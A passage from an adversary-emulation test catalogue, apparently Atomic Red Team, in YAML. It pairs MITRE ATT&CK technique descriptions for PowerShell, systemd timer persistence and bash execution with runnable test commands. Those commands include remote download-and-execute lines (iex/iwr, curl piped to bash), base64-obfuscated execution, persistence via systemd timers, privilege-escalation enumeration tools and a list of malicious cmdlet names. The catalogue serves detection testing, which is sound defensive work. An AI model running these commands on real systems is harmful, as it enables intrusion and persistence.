      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -CommandParamVariation #{command_param_variation} -Execute -ErrorAction
          Stop'
        name: powershell
    - name: ATHPowerShellCommandLineParameter -Command parameter variations with encoded
        arguments
      auto_generated_guid: 1c0a870f-dc74-49cf-9afc-eccc45e58790
      description: Executes powershell.exe with variations of the -Command parameter
        with encoded arguments supplied
      supported_platforms:
      - windows
      input_arguments:
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: string
          default: Hyphen
        command_param_variation:
          description: The "Command" parameter variation to use
          type: string
          default: C
        encoded_arguments_param_variation:
          description: The "EncodedArguments" parameter variation to use
          type: string
          default: EA
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation
          #{encoded_arguments_param_variation} -Execute -ErrorAction Stop'
        name: powershell
    - name: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
      auto_generated_guid: 86a43bad-12e3-4e85-b97c-4d5cf25b95c3
      description: Executes powershell.exe with variations of the -EncodedCommand
        parameter
      supported_platforms:
      - windows
      input_arguments:
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: string
          default: Hyphen
        encoded_command_param_variation:
          description: The "EncodedCommand" parameter variation to use
          type: string
          default: E
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute
          -ErrorAction Stop'
        name: powershell
    - name: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
        with encoded arguments
      auto_generated_guid: 0d181431-ddf3-4826-8055-2dbf63ae848b
      description: Executes powershell.exe with variations of the -EncodedCommand
        parameter with encoded arguments supplied
      supported_platforms:
      - windows
      input_arguments:
        encoded_command_param_variation:
          description: The "EncodedCommand" parameter variation to use
          type: string
          default: E
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: string
          default: Hyphen
        encoded_arguments_param_variation:
          description: The "EncodedArguments" parameter variation to use
          type: string
          default: EncodedArguments
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type}
          -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments
          -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute
          -ErrorAction Stop'
        name: powershell
    - name: PowerShell Command Execution
      auto_generated_guid: a538de64-1c74-46ed-aa60-b995ed302598
      description: 'Use of obfuscated PowerShell to execute an arbitrary command;
        outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection
        Report by Red Canary.

        '
      supported_platforms:
      - windows
      input_arguments:
        obfuscated_code:
          description: 'Defaults to: Invoke-Expression with a "Write-Host" line.'
          type: string
          default: JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA==
      executor:
        command: 'powershell.exe -e  #{obfuscated_code}

          '
        name: command_prompt
    - name: PowerShell Invoke Known Malicious Cmdlets
      auto_generated_guid: 49eb9404-5e0f-4031-a179-b40f7be385e3
      description: Powershell execution of known Malicious PowerShell Cmdlets
      supported_platforms:
      - windows
      input_arguments:
        Malicious_cmdlets:
          description: Known Malicious Cmdlets
          type: string
          default: '"Add-Persistence", "Find-AVSignature", "Get-GPPAutologon", "Get-GPPPassword",
            "Get-HttpStatus", "Get-Keystrokes", "Get-SecurityPackages", "Get-TimedScreenshot",
            "Get-VaultCredential", "Get-VolumeShadowCopy", "Install-SSP", "Invoke-CredentialInjection",
            "Invoke-DllInjection", "Invoke-Mimikatz", "Invoke-NinjaCopy", "Invoke-Portscan",
            "Invoke-ReflectivePEInjection", "Invoke-ReverseDnsLookup", "Invoke-Shellcode",
            "Invoke-TokenManipulation", "Invoke-WmiCommand", "Mount-VolumeShadowCopy",
            "New-ElevatedPersistenceOption", "New-UserPersistenceOption", "New-VolumeShadowCopy",
            "Out-CompressedDll", "Out-EncodedCommand", "Out-EncryptedScript", "Out-Minidump",
            "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy",
            "Set-CriticalProcess", "Set-MasterBootRecord"

            '
      executor:
        name: powershell
        elevation_required: true
        command: |
          $malcmdlets = #{Malicious_cmdlets}
          foreach ($cmdlets in $malcmdlets) {
              "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
          foreach ($cmdlets in $malcmdlets) {
              $cmdlets}
    - name: PowerUp Invoke-AllChecks
      auto_generated_guid: 1289f78d-22d2-4590-ac76-166737e1811b
      description: 'Check for privilege escalation paths using PowerUp from PowerShellMafia

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
          Invoke-AllChecks
        name: powershell
    - name: Abuse Nslookup with DNS Records
      auto_generated_guid: 999bff6d-dc15-44c9-9f5c-e1051bfc86e1
      description: |
        Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
        [reference](https://twitter.com/jstrosch/status/1237382986557001729)
      supported_platforms:
      - windows
      executor:
        command: |
          # creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
          # this would not be part of a real attack but helpful for this simulation
          function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
          powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
        name: powershell
    - name: SOAPHound - Dump BloodHound Data
      auto_generated_guid: 6a5b2a50-d037-4879-bf01-43d4d6cbf73f
      description: |
        Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
        src: https://github.com/FalconForceTeam/SOAPHound
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: Username for authentication
          type: string
          default: "$env:USERNAME"
        password:
          description: Password for authentication
          type: string
          default: P@ssword1
        domain:
          description: Domain for authentication
          type: string
          default: "$env:USERDOMAIN"
        dc:
          description: Domain Controller IP
          type: string
          default: 10.0.1.14
        cachefilename:
          description: Cache filename
          type: string
          default: c:\temp\cache.txt
        outputdirectory:
          description: Output directory
          type: string
          default: c:\temp\test2
        soaphound_path:
          description: Path to SOAPHound binary
          type: string
          default: PathToAtomicsFolder\T1059.001\bin\SOAPHound.exe
      executor:
        command: "#{soaphound_path} --user #{user} --password #{password} --domain
          #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory
          #{outputdirectory}\n"
        name: powershell
    - name: SOAPHound - Build Cache
      auto_generated_guid: 4099086c-1470-4223-8085-8186e1ed5948
      description: |
        Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
        src: https://github.com/FalconForceTeam/SOAPHound
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: Username for authentication
          type: string
          default: "$env:USERNAME"
        password:
          description: Password for authentication
          type: string
          default: P@ssword1
        domain:
          description: Domain for authentication
          type: string
          default: "$env:USERDOMAIN"
        dc:
          description: Domain Controller IP
          type: string
          default: 10.0.1.14
        cachefilename:
          description: Cache filename
          type: string
          default: c:\temp\cache.txt
        soaphound_path:
          description: Path to SOAPHound binary
          type: string
          default: PathToAtomicsFolder\T1059.001\bin\SOAPHound.exe
      executor:
        command: "#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password}
          --dc #{dc} --buildcache --cachefilename #{cachefilename}\n"
        name: powershell
  T1053.006:
    technique:
      modified: '2023-09-08T11:56:26.862Z'
      name: 'Scheduled Task/Job: Systemd Timers'
      description: |-
        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)

        Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

        An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - SarathKumar Rajendran, Trimble Inc
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
      created: '2020-10-12T17:50:31.584Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/006
        external_id: T1053.006
      - source_name: Systemd Remote Control
        description: Aaron Kili. (2018, January 16). How to Control Systemd Services
          on Remote Linux Server. Retrieved July 26, 2021.
        url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/
      - source_name: archlinux Systemd Timers Aug 2020
        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
          12, 2020.
        url: https://wiki.archlinux.org/index.php/Systemd/Timers
      - source_name: gist Arch package compromise 10JUL2018
        description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
          Arch package compromise. Retrieved April 23, 2019.
        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
      - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
        description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
          AUR Package Repository. Retrieved April 23, 2019.
        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
      - source_name: acroread package compromised Arch Linux Mail 8JUL2018
        description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
          April 23, 2019.
        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
      - source_name: 'Falcon Sandbox smp: 28553b3a9d'
        description: Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7.
          Retrieved September 8, 2023.
        url: https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300
      - source_name: 'Linux man-pages: systemd January 2014'
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.006
    atomic_tests:
    - name: Create Systemd Service and Timer
      auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b
      description: "This test creates Systemd service and timer then starts and enables
        the Systemd timer \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_systemd_service:
          description: Path to systemd service unit file
          type: path
          default: "/etc/systemd/system/art-timer.service"
        path_to_systemd_timer:
          description: Path to service timer file
          type: path
          default: "/etc/systemd/system/art-timer.timer"
        systemd_service_name:
          description: Name of systemd service
          type: string
          default: art-timer.service
        systemd_timer_name:
          description: Name of systemd service timer
          type: string
          default: art-timer.timer
      executor:
        command: |
          echo "[Unit]" > #{path_to_systemd_service}
          echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
          echo "[Service]" >> #{path_to_systemd_service}
          echo "Type=simple" >> #{path_to_systemd_service}
          echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
          echo "[Install]" >> #{path_to_systemd_service}
          echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
          echo "[Unit]" > #{path_to_systemd_timer}
          echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
          echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "[Timer]" >> #{path_to_systemd_timer}
          echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
          echo "[Install]" >> #{path_to_systemd_timer}
          echo "WantedBy=timers.target" >> #{path_to_systemd_timer}
          systemctl start #{systemd_timer_name}
          systemctl enable #{systemd_timer_name}
          systemctl daemon-reload
        cleanup_command: |
          systemctl stop #{systemd_timer_name}
          systemctl disable #{systemd_timer_name}
          rm #{path_to_systemd_service}
          rm #{path_to_systemd_timer}
          systemctl daemon-reload
        name: bash
    - name: Create a user level transient systemd service and timer
      auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec
      description: "Schedule a user level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

          '
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

          '
      executor:
        elevation_required: false
        command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1''
          /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log''

          '
        cleanup_command: |
          systemctl --user stop Atomic-Red-Team.service
          systemctl --user stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
    - name: Create a system level transient systemd service and timer
      auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22
      description: "Schedule a system level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

          '
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

          '
      executor:
        elevation_required: true
        command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh
          -c ''echo "$(date) $(whoami)" >>/tmp/log''

          '
        cleanup_command: |
          systemctl stop Atomic-Red-Team.service
          systemctl stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
  T1059.004:
    technique:
      modified: '2024-04-16T12:24:40.163Z'
      name: 'Command and Scripting Interpreter: Bash'
      description: |-
        Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

        Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

        Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_deprecated: false
      x_mitre_detection: "Unix shell usage may be common on administrator, developer,
        or power user systems, depending on job function. If scripting is restricted
        for normal users, then any attempt to enable scripts running on a system would
        be considered suspicious. If scripts are not commonly used on a system, but
        enabled, scripts running out of cycle from patching or other administrator
        functions are suspicious. Scripts should be captured from the file system
        when possible to determine their actions and intent.\n\nScripts are likely
        to perform actions with various effects on a system that may generate events,
        depending on the types of monitoring used. Monitor processes and command-line
        arguments for script execution and subsequent behavior. Actions may be related
        to network and system information discovery, collection, or other scriptable
        post-compromise behaviors and could be used as indicators of detection leading
        back to the source script. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Linux
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56
      created: '2020-03-09T14:15:05.330Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/004
        external_id: T1059.004
      - source_name: Apple ZShell
        description: Apple. (2020, January 28). Use zsh as the default shell on your
          Mac. Retrieved June 12, 2020.
        url: https://support.apple.com/HT208050
      - source_name: DieNet Bash
        description: die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12,
          2020.
        url: https://linux.die.net/man/1/bash
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1059.004
    atomic_tests:
    - name: Create and Execute Bash Shell Script
      auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873
      description: 'Creates and executes a simple sh script.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        script_path:
          description: Script path
          type: path
          default: "/tmp/art.sh"
        host:
          description: Host to ping
          type: string
          default: 8.8.8.8
      executor:
        command: |
          sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
          sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
          chmod +x #{script_path}
          sh #{script_path}
        cleanup_command: 'rm #{script_path}

          '
        name: sh
    - name: Command-Line Interface
      auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c
      description: |
        Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

        Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
          wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
        cleanup_command: 'rm /tmp/art-fish.txt

          '
        name: sh
    - name: Harvest SUID executable files
      auto_generated_guid: 46274fc6-08a7-4956-861b-24cbbaa0503c
      description: "AutoSUID application is the Open-Source project, the main idea
        of which is to automate harvesting the SUID executable files and to find a
        way for further escalating the privileges. \n"
      supported_platforms:
      - linux
      input_arguments:
        autosuid:
          description: Path to the autosuid shell script
          type: path
          default: PathToAtomicsFolder/T1059.004/src/AutoSUID.sh
        autosuid_url:
          description: Path to download autosuid shell script
          type: url
          default: https://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh
      dependency_executor_name: bash
      dependencies:
      - description: 'AutoSUID must exist on disk at specified location (#{autosuid})

          '
        prereq_command: 'if [ -f #{autosuid} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: 'curl --create-dirs #{autosuid_url} --output #{autosuid}

          '
      executor:
        command: |
          chmod +x #{autosuid}
          bash #{autosuid}
        cleanup_command: 'rm -rf #{autosuid}

          '
        name: sh
    - name: LinEnum tool execution
      auto_generated_guid: a2b35a63-9df1-4806-9a4d-5fe0500845f2
      description: 'LinEnum is a bash script that performs discovery commands for
        accounts,processes, kernel version, applications, services, and uses the information
        from these commands to present operator with ways of escalating privileges
        or further exploitation of targeted host.

        '
      supported_platforms:
      - linux
      input_arguments:
        linenum:
          description: Path to the LinEnum shell script
          type: path
          default: PathToAtomicsFolder/T1059.004/src/LinEnum.sh
        linenum_url:
          description: Path to download LinEnum shell script
          type: url
          default: https://raw.githubusercontent.com/rebootuser/LinEnum/c47f9b226d3ce2848629f25fe142c1b2986bc427/LinEnum.sh
      dependency_executor_name: bash
      dependencies:
      - description: 'LinnEnum must exist on disk at specified location (#{linenum})

          '
        prereq_command: 'if [ -f #{linenum} ]; then exit 0; else exit 1; fi;

          '
        get_prereq_command: 'curl --create-dirs #{linenum_url} --output #{linenum}

          '
      executor:
        command: |
          chmod +x #{linenum}
          bash #{linenum}
        cleanup_command: 'rm -rf #{linenum}

          '
        name: sh
    - name: New script file in the tmp directory
      auto_generated_guid: 8cd1947b-4a54-41fb-b5ea-07d0ace04f81
      description: 'An attacker may create script files in the /tmp directory using
        the mktemp utility and execute them. The following commands creates a temp
        file and places a pointer to it in the variable $TMPFILE, echos the string
        id into it, and then executes the file using bash, which results in the id
        command being executed.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: |
          TMPFILE=$(mktemp)
          echo "id" > $TMPFILE
          bash $TMPFILE
        cleanup_command: |
          rm $TMPFILE
          unset TMPFILE
    - name: What shell is running
      auto_generated_guid: 7b38e5cc-47be-44f0-a425-390305c76c17
      description: 'An adversary will want to discover what shell is running so that
        they can tailor their attacks accordingly. The following commands will discover
        what shell is running.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: |
          echo $0
          if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
          if $(printenv SHELL >/dev/null); then printenv SHELL; fi
    - name: What shells are available
      auto_generated_guid: bf23c7dc-1004-4949-8262-4c1d1ef87702
      description: 'An adversary may want to discover which shell''s are available
        so that they might switch to that shell to tailor their attacks to suit that
        shell. The following commands will discover what shells are available on the
        host.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: "cat /etc/shells \n"
    - name: Command line scripts
      auto_generated_guid: b04ed73c-7d43-4dc8-b563-a2fc595cba1a
      description: 'An adversary may type in elaborate multi-line shell commands into
        a terminal session because they can''t or don''t wish to create script files
        on the host. The following command is a simple loop, echoing out Atomic Red
        Team was here!

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        command: 'for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep
          1; done

          '
    - name: Obfuscated command line scripts
      auto_generated_guid: 5bec4cc8-f41e-437b-b417-33ff60acf9af
      description: 'An adversary may pre-compute the base64 representations of the
        terminal commands that they wish to execute in an attempt to avoid or frustrate
        detection. The following commands base64 encodes the text string id, then
        base64 decodes the string, then pipes it as a command to bash, which results
        in the id command being executed.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: |
          [ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
          ART=$(echo -n "id" | $encodecmd)
          echo "\$ART=$ART"
          echo -n "$ART" | $decodecmd |/bin/bash
          unset ART
    - name: Change login shell
      auto_generated_guid: c7ac59cb-13cc-4622-81dc-6d2fee9bfac7
      description: "An adversary may want to use a different login shell. The chsh
        command changes the user login shell. The following test, creates an art user
        with a /bin/bash shell, changes the users shell to sh, then deletes the art
        user. \n"
      supported_platforms:
      - linux
      dependencies:
      - description: 'chsh - change login shell, must be installed

          '
        prereq_command: 'if [ -f /usr/bin/chsh ]; then echo "exit 0"; else echo "exit
          1"; exit 1; fi

          '
        get_prereq_command: 'echo "Automated installer not implemented yet, please
          install chsh manually"

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          [ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
          cat /etc/passwd |grep ^art
          chsh -s /bin/sh art
          cat /etc/passwd |grep ^art
        cleanup_command: '[ "$(uname)" = ''FreeBSD'' ] && rmuser -y art || userdel
          art

          '
    - name: Environment variable scripts
      auto_generated_guid: bdaebd56-368b-4970-a523-f905ff4a8a51
      description: 'An adversary may place scripts in an environment variable because
        they can''t or don''t wish to create script files on the host. The following
        test, in a bash shell, exports the ART variable containing an echo command,
        then pipes the variable to /bin/bash

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: |
          export ART='echo "Atomic Red Team was here... T1059.004"'
          echo $ART |/bin/sh
        cleanup_command: 'unset ART

          '
    - name: Detecting pipe-to-shell
      auto_generated_guid: fca246a8-a585-4f28-a2df-6495973976a1
      description: 'An adversary may develop a useful utility or subvert the CI/CD
        pipe line of a legitimate utility developer, who requires or suggests installing
        their utility by piping a curl download directly into bash. Of-course this
        is a very bad idea. The adversary may also take advantage of this BLIND install
        method and selectively running extra commands in the install script for those
        who DO pipe to bash and not for those who DO NOT. This test uses curl to download
        the pipe-to-shell.sh script, the first time without piping it to bash and
        the second piping it into bash which executes the echo command.

        '
      supported_platforms:
      - linux
      input_arguments:
        remote_url:
          description: url of remote payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if curl is installed on the machine.

          '
        prereq_command: 'if [ -x "$(command -v curl)" ]; then echo "curl is installed";
          else echo "curl is NOT installed"; exit 1; fi

          '
        get_prereq_command: 'which apt && apt update && apt install -y curl || which
          pkg && pkg update && pkg install -y curl

          '
      executor:
        name: sh
        elevation_required: false
        command: "cd /tmp\ncurl -s #{remote_url} |bash\nls -la /tmp/art.txt      \n"
        cleanup_command: 'rm /tmp/art.txt

          '
    - name: Current kernel information enumeration
      auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14
      description: 'An adversary may want to enumerate the kernel information to tailor
        their attacks for that particular kernel. The following command will enumerate
        the kernel information.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: 'uname -srm

          '
    - name: Shell Creation using awk command
      auto_generated_guid: ee72b37d-b8f5-46a5-a9e7-0ff50035ffd5
      description: |-
